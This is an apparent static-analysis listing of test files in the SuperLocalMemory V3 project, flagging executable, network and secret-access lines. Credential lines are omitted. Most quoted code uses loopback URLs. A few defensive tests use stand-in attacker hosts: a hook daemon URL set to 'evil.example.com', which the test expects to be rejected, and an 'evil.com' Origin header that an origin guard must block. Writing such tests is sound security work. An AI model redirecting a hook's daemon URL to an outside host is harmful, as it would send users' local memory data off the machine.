[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 230
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Access to secretsline 245
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 267
[Credential-related source omitted] - Access to secretsline 274
[Credential-related source omitted]
tests/test_governance/test_connection_attribution_and_content_binding.py
- Executable scriptline 1
Executable file
tests/test_governance/test_dashboard_recall_posts_stay_in_the_callers_workspace.py
- Executable scriptline 1
Executable file
tests/test_governance/test_every_door_asks_the_same_question.py
- Executable scriptline 1
Executable file
tests/test_governance/test_http_mcp_cookieless.py
- Executable scriptline 1
Executable file - Network accessline 46
headers = {"Accept": "application/json, text/event-stream", "Content-Type": "application/json", "MCP-Protocol-Version": "2025-06-18"} with TestClient(app, base_url="http://127.0.0.1:9911", client=("127.0.0.1", 5000)) as c - Network accessline 47
"Content-Type": "application/json", "MCP-Protocol-Version": "2025-06-18"} with TestClient(app, base_url="http://127.0.0.1:9911", client=("127.0.0.1", 5000)) as client: def request(method, params, bound_headers): - Network accessline 48
with TestClient(app, base_url="http://127.0.0.1:9911", client=("127.0.0.1", 5000)) as client:
tests/test_governance/test_http_mcp_role_positive_controls.py
- Executable scriptline 1
Executable file
tests/test_governance/test_http_mcp_workspace_sessions.py
- Executable scriptline 1
Executable file - Network accessline 49
"MCP-Protocol-Version": "2025-06-18", } with TestClient(app, base_url="http://127.0.0.1:9911") as client: - Network accessline 51
with TestClient(app, base_url="http://127.0.0.1:9911") as client: - Network accessline 123
app.mount("/mcp", CallerSessionASGI(mcp_app)) jars = {"first": "", "second": ""} with TestClient(app, base_url="http://127.0.0.1:9911", client=("127.0.0.1", 5000)) as client: - Network accessline 125
with TestClient(app, base_url="http://127.0.0.1:9911", client=("127.0.0.1", 5000)) as client: - Network accessline 241
monkeypatch.setattr("superlocalmemory.server.caller_workspace.resolve_caller_workspace", broken) with TestClient(app, base_url="http://127.0.0.1:9911") as client: - Network accessline 242
with TestClient(app, base_url="http://127.0.0.1:9911") as client:
tests/test_governance/test_installation_events_are_visible.py
- Executable scriptline 1
Executable file
tests/test_governance/test_installation_mutation_scope.py
- Executable scriptline 1
Executable file
tests/test_governance/test_jev_consent_receipts.py
- Executable scriptline 1
Executable file
tests/test_governance/test_learning_global_manage.py
- Executable scriptline 1
Executable file
tests/test_governance/test_maintenance_acts_on_the_bound_workspace.py
- Executable scriptline 1
Executable file
tests/test_governance/test_maintenance_forwards_caller_binding.py
- Executable scriptline 1
Executable file
tests/test_governance/test_mcp_refusal_contract.py
- Executable scriptline 1
Executable file
tests/test_governance/test_ops_scoped_and_honest.py
- Executable scriptline 1
Executable file
tests/test_governance/test_pr248_recheck_integration.py
- Executable scriptline 1
Executable file - Network accessline 82
[Credential-related source omitted] - Network accessline 83
c = TestClient( app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False ) - Network accessline 84
app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False - Access to secretsline 320
[Credential-related source omitted]
tests/test_governance/test_read_target_route_contracts.py
- Executable scriptline 1
Executable file
tests/test_governance/test_release_installation_routes.py
- Executable scriptline 1
Executable file
tests/test_governance/test_role_surface_matrix_mcp.py
- Executable scriptline 1
Executable file - Access to secretsline 123
[Credential-related source omitted] - Network accessline 223
rbac, ids = store rbac.set_require_login(True) with TestClient(_probe_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as client: - Network accessline 224
rbac.set_require_login(True) with TestClient(_probe_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as client: yield client, rbac, ids - Network accessline 225
with TestClient(_probe_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as client:
tests/test_governance/test_role_surface_matrix_rest.py
- Executable scriptline 1
Executable file - Network accessline 70
[Credential-related source omitted] - Network accessline 71
who["anonymous"] = {} client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False) - Network accessline 72
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK,
tests/test_governance/test_save_repair_keeps_fact_evidence.py
- Executable scriptline 1
Executable file
tests/test_governance/test_save_repair_rechecks_reviewed_plan.py
- Executable scriptline 1
Executable file
tests/test_governance/test_saves_refiled_after_scope_drift.py
- Executable scriptline 1
Executable file
tests/test_governance/test_search_preserves_visibility.py
- Executable scriptline 1
Executable file
tests/test_governance/test_stale_dead_letters.py
- Executable scriptline 1
Executable file
tests/test_governance/test_stateful_http_mcp_workspace.py
- Executable scriptline 1
Executable file - Network accessline 62
tokens = {name: rbac.create_session(ids[name]) for name in ("admin_a", "viewer_a")} transport_ids = {} with TestClient(app, base_url="http://127.0.0.1:9911") as client: - Network accessline 64
with TestClient(app, base_url="http://127.0.0.1:9911") as client:
tests/test_governance/test_the_config_cannot_claim_a_backend_it_does_not_have.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_governance/test_the_dashboard_shows_what_is_true.py
- Executable scriptline 1
Executable file
tests/test_governance/test_tool_registration_keeps_its_gate.py
- Executable scriptline 1
Executable file
tests/test_governance/test_trust_accumulates_against_a_stable_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_governance/test_unused_workspace_hints_cannot_grant_reads.py
- Executable scriptline 1
Executable file
tests/test_governance/test_url_agent_name_is_only_claimed.py
- Executable scriptline 1
Executable file - Network accessline 76
rbac, _ = store rbac.set_require_login(False) with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c: - Network accessline 77
rbac.set_require_login(False) with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c: seen = _who(c, "/mcp/claude-code/") - Network accessline 78
with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c: - Network accessline 88
cap = {"X-SLM-Daemon-Capability": _Descriptor.capability, "X-SLM-Target-Instance": _Descriptor.instance_id} with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c: - Network accessline 89
"X-SLM-Target-Instance": _Descriptor.instance_id} with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c: seen = _who(c, "/mcp/claude-code/", cap) - Network accessline 90
with TestClient(_app(), base_url="http://127.0.0.1:8765", client=LOOPBACK) as c:
tests/test_governance/test_workspace_evolution_producers.py
- Executable scriptline 1
Executable file
tests/test_governance/test_workspace_skill_evolution.py
- Executable scriptline 1
Executable file
tests/test_graph/test_cozo_tier_sync.py
tests/test_graph_integrity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_graph_pruning_config.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_hook_handlers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_hooks/__init__.py
- Executable scriptline 1
Executable file
tests/test_hooks/_timing.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_an_action_is_recorded_whether_or_not_it_names_a_memory.py
tests/test_hooks/test_auto_injection_never_hides_memories.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_auto_invoker.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_auto_parameterize.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_auto_recall_answer_check.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_auto_recall_hook.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_hooks/test_check_status_corrupt_settings.py
tests/test_hooks/test_codex_assets.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_codex_hooks.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_codex_start_answer_check.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_daemon_port_discovery.py
- Executable scriptline 1
Executable file - Network accessline 35
def test_hook_handlers_reads_port_file(home: Path) -> None: (home / "daemon.port").write_text("8766", encoding="utf-8") assert hook_handlers._daemon_url() == "http://127.0.0.1:8766" - Network accessline 37
assert hook_handlers._daemon_url() == "http://127.0.0.1:8766" - Network accessline 40
def test_hook_handlers_defaults_when_no_port_file(home: Path) -> None: assert hook_handlers._daemon_url() == "http://127.0.0.1:8765" - Network accessline 41
assert hook_handlers._daemon_url() == "http://127.0.0.1:8765" - Network accessline 44
def test_hook_handlers_defaults_on_garbage_port_file(home: Path) -> None: (home / "daemon.port").write_text("not-a-number", encoding="utf-8") assert hook_handlers._daemon_url() == "http://127.0.0.1:8765" - Network accessline 46
assert hook_handlers._daemon_url() == "http://127.0.0.1:8765" - Network accessline 89
def test_async_hook_reads_port_file(home: Path) -> None: (home / "daemon.port").write_text("8766", encoding="utf-8") assert post_tool_async_hook._port_file_url() == "http://127.0.0.1:8766" - Network accessline 91
assert post_tool_async_hook._port_file_url() == "http://127.0.0.1:8766" - Network accessline 94
def test_async_hook_defaults_when_no_port_file(home: Path) -> None: assert post_tool_async_hook._port_file_url() == "http://127.0.0.1:8765" - Network accessline 95
assert post_tool_async_hook._port_file_url() == "http://127.0.0.1:8765" - Network accessline 101
monkeypatch.delenv("SLM_HOOK_DAEMON_URL", raising=False) (home / "daemon.port").write_text("8766", encoding="utf-8") assert post_tool_async_hook._sanitised_daemon_url() == "http://127.0.0.1:8766" - Network accessline 103
assert post_tool_async_hook._sanitised_daemon_url() == "http://127.0.0.1:8766" - Network accessline 111
monkeypatch.setenv("SLM_HOOK_DAEMON_URL", "http://evil.example.com:9999") - Network accessline 113
assert post_tool_async_hook._sanitised_daemon_url() == "http://127.0.0.1:8766" - Network accessline 117
home: Path, monkeypatch: pytest.MonkeyPatch ) -> None: monkeypatch.setenv("SLM_HOOK_DAEMON_URL", "http://127.0.0.1:8888") - Network accessline 118
) -> None: monkeypatch.setenv("SLM_HOOK_DAEMON_URL", "http://127.0.0.1:8888") assert post_tool_async_hook._sanitised_daemon_url() == "http://127.0.0.1:8888" - Network accessline 119
monkeypatch.setenv("SLM_HOOK_DAEMON_URL", "http://127.0.0.1:8888") - Network accessline 120
assert post_tool_async_hook._sanitised_daemon_url() == "http://127.0.0.1:8888"
tests/test_hooks/test_fok_gating.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_daemon.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 105
with patch("superlocalmemory.hooks.auto_recall_hook._get_mode_timeout", return_value=1.0), \ patch("superlocalmemory.hooks.auto_recall_hook._detect_mode", return_value="A"): client = socket.socket(socket.AF_UNIX, so - Network accessline 106
patch("superlocalmemory.hooks.auto_recall_hook._detect_mode", return_value="A"): client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client.settimeout(5.0) - Network accessline 107
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 142
try: client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 143
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
tests/test_hooks/test_hook_deadline_command_resolution.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_event_delivery.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_event_spool.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_handler_root_namespace.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_handlers.py
- Executable scriptline 1
Executable file - Network accessline 281
sp.ensure_install_token() monkeypatch.setattr(post_tool_async_hook, "DAEMON_URL", "http://127.0.0.1:1") # reserved port - Network accessline 282
monkeypatch.setattr(post_tool_async_hook, "DAEMON_URL", "http://127.0.0.1:1") # reserved port rc, out = _run_hook( - Network accessline 283
"http://127.0.0.1:1") # reserved port
tests/test_hooks/test_hook_payload_keys.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hook_socket_path.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hooks_callable_injection.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_hooks_inject_supported_only.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_injection_switch.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_memory_protocol_answer_check.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_multi_signal_scoring.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_native_hook_event_evidence.py
tests/test_hooks/test_outcome_hooks.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_prewarm_auth.py
- Executable scriptline 1
Executable file - Network accessline 64
def test_origin_guard_blocks_browser_request() -> None: headers = {"Origin": "http://evil.com"} - Network accessline 65
headers = {"Origin": "http://evil.com"} - Network accessline 69
def test_origin_guard_case_insensitive_header_name() -> None: headers = {"origin": "http://evil.com"} - Network accessline 70
headers = {"origin": "http://evil.com"} - Network accessline 126
[Credential-related source omitted] - Network accessline 127
[Credential-related source omitted] - Network accessline 128
[Credential-related source omitted]
tests/test_hooks/test_rules_are_wired.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_session_registry.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_stage8_outcome_common_security.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_stage8_post_tool_marker_regex.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_user_prompt_hook_entity_detection.py
- Executable scriptline 1
Executable file
tests/test_hooks/test_w2_canonical_data_root.py
- Executable scriptline 1
Executable file
tests/test_host_and_framework_adapters/fixtures/opencode-mcp.json
- Network accessline 1
{ "$schema": "https://json-schema.org/draft/2020-12/schema", - Network accessline 2
"$schema": "https://json-schema.org/draft/2020-12/schema", - Network accessline 3
"$comment": "Extracted unchanged from https://opencode.ai/config.json on 2026-10-11", - Network accessline 99
"redirectUri": { "type": "string", "description": "OAuth redirect URI (default: http://127.0.0.1:19876/mcp/oauth/callback)." - Network accessline 100
"type": "string", "description": "OAuth redirect URI (default: http://127.0.0.1:19876/mcp/oauth/callback)." } - Network accessline 101
"description": "OAuth redirect URI (default: http://127.0.0.1:19876/mcp/oauth/callback)."
tests/test_host_and_framework_adapters/offline_agents.py
- Executable scriptline 1
Executable file - Network accessline 8
def model_response(request): return httpx.Response(200, json={ - Network accessline 9
return httpx.Response(200, json={ - Network accessline 18
[Credential-related source omitted] - Network accessline 19
[Credential-related source omitted] - Network accessline 20
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 21
transport=httpx.MockTransport(model_response))))
tests/test_host_and_framework_adapters/test_adapter_resolution.py
- Executable scriptline 1
Executable file
tests/test_host_and_framework_adapters/test_bridge_packaging.py
- Executable scriptline 1
Executable file
tests/test_host_and_framework_adapters/test_doc_samples.py
tests/test_host_and_framework_adapters/test_engine_bridge.py
- Executable scriptline 1
Executable file
tests/test_host_and_framework_adapters/test_framework_contracts.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Network accessline 51
from agent_framework_superlocalmemory.providers import _dict_to_message, _message_to_dict for role in ('user', 'assistant', 'tool'): image = Content.from_uri('https://example.org/image.png', media_type='image/png') - Network accessline 52
for role in ('user', 'assistant', 'tool'): image = Content.from_uri('https://example.org/image.png', media_type='image/png') msg = Message(role=role, contents=['Tea', image], - Network accessline 53
image = Content.from_uri('https://example.org/image.png', media_type='image/png') - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Network accessline 106
history = SuperLocalMemoryHistoryProvider() session = "native-session" sent = [Message(role, ['Tea', Content.from_uri('https://example.org/image.png', - Network accessline 107
session = "native-session" sent = [Message(role, ['Tea', Content.from_uri('https://example.org/image.png', media_type='image/png')], message_id=role) - Network accessline 108
sent = [Message(role, ['Tea', Content.from_uri('https://example.org/image.png', - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted]
tests/test_host_and_framework_adapters/test_host_contracts.py
- Executable scriptline 1
Executable file - Network accessline 83
block = json.loads(path.read_text())["mcpServers"]["superlocalmemory"] assert block == ( {"serverUrl": "http://127.0.0.1:29177/mcp/"} - Network accessline 84
assert block == ( {"serverUrl": "http://127.0.0.1:29177/mcp/"} if transport == "http" - Network accessline 85
{"serverUrl": "http://127.0.0.1:29177/mcp/"} - Access to secretsline 157
[Credential-related source omitted] - Network accessline 205
result = kit.connect_ide("gemini-cli", home=tmp_path, transport="http", daemon_port=29177) data = json.loads(Path(result["mcp_path"]).read_text()) assert data["mcpServers"]["superlocalmemory"] == {"httpUrl": "http://127.0.0.1:29177/ - Network accessline 207
assert data["mcpServers"]["superlocalmemory"] == {"httpUrl": "http://127.0.0.1:29177/mcp/"}
tests/test_host_and_framework_adapters/test_http_verification.py
- Executable scriptline 1
Executable file - Network accessline 36
thread.start() try: yield f"http://127.0.0.1:{server.server_port}/v1" - Network accessline 37
try: yield f"http://127.0.0.1:{server.server_port}/v1" finally: - Network accessline 38
yield f"http://127.0.0.1:{server.server_port}/v1" - Network accessline 47
while time.monotonic() < deadline and process.poll() is None: try: with urllib.request.urlopen(f"http://127.0.0.1:{port}/health", timeout=1) as reply: - Network accessline 48
try: with urllib.request.urlopen(f"http://127.0.0.1:{port}/health", timeout=1) as reply: if json.load(reply).get("status") == "ok": - Network accessline 49
with urllib.request.urlopen(f"http://127.0.0.1:{port}/health", timeout=1) as reply: - Access to secretsline 63
[Credential-related source omitted] - Network accessline 72
config.retrieval.use_cross_encoder = False config.save(root / "config.json") with socket.socket() as sock: - Network accessline 73
config.save(root / "config.json") with socket.socket() as sock: sock.bind(("127.0.0.1", 0)) - Network accessline 74
with socket.socket() as sock: - Access to secretsline 77
[Credential-related source omitted]
tests/test_host_and_framework_adapters/test_native_adapters.py
- Executable scriptline 1
Executable file - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted]
tests/test_host_and_framework_adapters/test_readme_samples.py
tests/test_host_and_framework_adapters/test_sdk_contracts.py
- Executable scriptline 1
Executable file - Network accessline 64
name = ("Async" if asynchronous else "") + ("OpenAI" if provider == "openai" else "Anthropic") http = __import__("httpx2") if provider == "anthropic" else httpx http_client = (http.AsyncClient if asynchronous else http.Client)( - Network accessline 65
http = __import__("httpx2") if provider == "anthropic" else httpx http_client = (http.AsyncClient if asynchronous else http.Client)( transport=http.MockTransport(respond) - Network accessline 66
http_client = (http.AsyncClient if asynchronous else http.Client)( - Access to secretsline 69
[Credential-related source omitted] - Dangerous shell operationline 126
exec(line, {}) - Network accessline 201
first = sdk_client("openai", False, first_calls) second = sdk_client("openai", False, second_calls) second.base_url = "http://second-provider.invalid/v1/" - Network accessline 202
second = sdk_client("openai", False, second_calls) second.base_url = "http://second-provider.invalid/v1/" kwargs = { - Network accessline 203
second.base_url = "http://second-provider.invalid/v1/" - Dangerous shell operationline 232
exec(snippet, {})
tests/test_ide_connector.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_infra.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Tests for V3 Infrastructure modules -- Task 3 of V3 build.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted]
tests/test_infra/_backup_key_env.py
tests/test_infra/test_auxiliary_data_root_contract.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_coordinator_restore.py
tests/test_infra/test_backup_coordinator_wal.py
tests/test_infra/test_backup_crypto_format.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_due_clock.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_includes_mesh_db.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_keys.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_obligations_are_honest.py
- Executable scriptline 1
Executable file
tests/test_infra/test_backup_restore_retention_race.py
- Executable scriptline 1
Executable file
tests/test_infra/test_cloud_backup_atomic.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted]
tests/test_infra/test_cloud_backup_encrypted_upload.py
- Executable scriptline 1
Executable file - Network accessline 91
if url.endswith("/releases"): captured["release_bodies"].append(json.dumps(kw.get("json"))) return _Resp(201, {"upload_url": "https://uploads.invalid/assets{?name}"}) - Network accessline 92
captured["release_bodies"].append(json.dumps(kw.get("json"))) return _Resp(201, {"upload_url": "https://uploads.invalid/assets{?name}"}) content = kw["content"] - Network accessline 93
return _Resp(201, {"upload_url": "https://uploads.invalid/assets{?name}"}) - Network accessline 366
seen["chunked"] = request.headers.get("transfer-encoding") seen["body"] = request.read() return httpx.Response(201) - Network accessline 368
return httpx.Response(201) - Network accessline 370
with httpx.Client(transport=httpx.MockTransport(handler)) as client, open(payload, "rb") as fh: - Network accessline 371
client.post("https://uploads.invalid/a", content=fh)
tests/test_infra/test_cloud_backup_keyring_absent.py
tests/test_infra/test_data_root_contract.py
- Executable scriptline 1
Executable file
tests/test_infra/test_local_diagnostics.py
- Executable scriptline 1
Executable file
tests/test_infra/test_mesh_lock_expiry_targets_the_store.py
- Executable scriptline 1
Executable file
tests/test_infra/test_proc_memory.py
- Executable scriptline 1
Executable file
tests/test_infra/test_process_identity.py
- Executable scriptline 1
Executable file
tests/test_infra/test_restore_replays_targeted_erasures.py
- Executable scriptline 1
Executable file
tests/test_infra/test_version_integrity.py
tests/test_infra/test_version_integrity_surfaces.py
tests/test_infra/test_w3_state_identity.py
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Access to secretsline 138
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted]
tests/test_ingestion/test_base_adapter_identity.py
- Executable scriptline 1
Executable file
tests/test_ingestion/test_calendar_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 354
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Access to secretsline 411
[Credential-related source omitted] - Access to secretsline 434
[Credential-related source omitted] - Access to secretsline 447
[Credential-related source omitted] - Access to secretsline 466
[Credential-related source omitted]
tests/test_ingestion/test_gmail_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 469
[Credential-related source omitted] - Access to secretsline 478
[Credential-related source omitted] - Access to secretsline 503
[Credential-related source omitted] - Access to secretsline 678
[Credential-related source omitted] - Access to secretsline 690
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted]
tests/test_ingestion/test_ingestion_data_root_contract.py
- Executable scriptline 1
Executable file
tests/test_injection.py
- Executable scriptline 1
Executable file - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 179
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted]
tests/test_integration/__init__.py
- Executable scriptline 1
Executable file
tests/test_integration/_process_tree.py
- Executable scriptline 1
Executable file
tests/test_integration/conftest.py
- Executable scriptline 1
Executable file
tests/test_integration/test_agent_speaker_attribution.py
- Executable scriptline 1
Executable file
tests/test_integration/test_async_remember_e2e.py
- Executable scriptline 1
Executable file - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Network accessline 67
req = urllib.request.Request( - Network accessline 71
method="POST", ) with urllib.request.urlopen(req, timeout=10) as r: - Network accessline 72
) with urllib.request.urlopen(req, timeout=10) as r: resp = json.loads(r.read()) - Network accessline 73
with urllib.request.urlopen(req, timeout=10) as r: - Network accessline 112
with urllib.request.urlopen(
tests/test_integration/test_async_remember_materializer.py
- Executable scriptline 1
Executable file
tests/test_integration/test_cross_platform_learning.py
- Executable scriptline 1
Executable file
tests/test_integration/test_daemon_process_detection.py
- Executable scriptline 1
Executable file
tests/test_integration/test_e2e.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_integration/test_e2e_v32.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_integration/test_e2e_v33.py
- Executable scriptline 1
Executable file
tests/test_integration/test_edit_refusals_are_truthful.py
- Executable scriptline 1
Executable file
tests/test_integration/test_embedding_switch_e2e.py
- Executable scriptline 1
Executable file - Access to secretsline 130
[Credential-related source omitted] - Network accessline 214
threading.Thread(target=server.serve_forever, daemon=True).start() lane = Lane(tmp_path_factory.mktemp("embed-switch"), f"http://127.0.0.1:{server.server_address[1]}") - Network accessline 215
lane = Lane(tmp_path_factory.mktemp("embed-switch"), f"http://127.0.0.1:{server.server_address[1]}") try: - Network accessline 216
f"http://127.0.0.1:{server.server_address[1]}")
tests/test_integration/test_encoding_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_integration/test_erasure_integrity_e2e.py
tests/test_integration/test_gdpr_erasure_wins_e2e.py
- Executable scriptline 1
Executable file
tests/test_integration/test_integrity_repair_e2e.py
- Executable scriptline 1
Executable file
tests/test_integration/test_just_saved_memory_is_found_while_model_loads.py
- Executable scriptline 1
Executable file
tests/test_integration/test_kind_on_resave_composed.py
